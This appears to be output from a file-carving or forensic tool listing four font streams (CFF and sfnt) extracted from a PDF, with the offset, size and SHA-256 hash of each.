font_12_cff_off00032954.bin pdf-font-stream PDF embedded font (cff) at offset 0x32954 1230 bytes
SHA-256: fbf22266dae0292a560fe4992b55ae8d9a60e5393b8105c8e8d7d4434902074f
font_13_cff_off00033135.bin pdf-font-stream PDF embedded font (cff) at offset 0x33135 499 bytes
SHA-256: 2789af23995f8af33b2dae091e9b962494e0b8b0e898fada623820ee9686b3ca
font_14_cff_off00033662.bin pdf-font-stream PDF embedded font (cff) at offset 0x33662 2550 bytes
SHA-256: 755b31802bfcbe5da85fa3b6417005821fa046390579475e59a1b7e221fd17f2
font_19_sfnt_off0004a146.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x4A146 23432 bytes
SHA-256: 2722878b19761e7a433e1ca6f32e7f9fe9cccce4136877b3beb9040f23bd4b18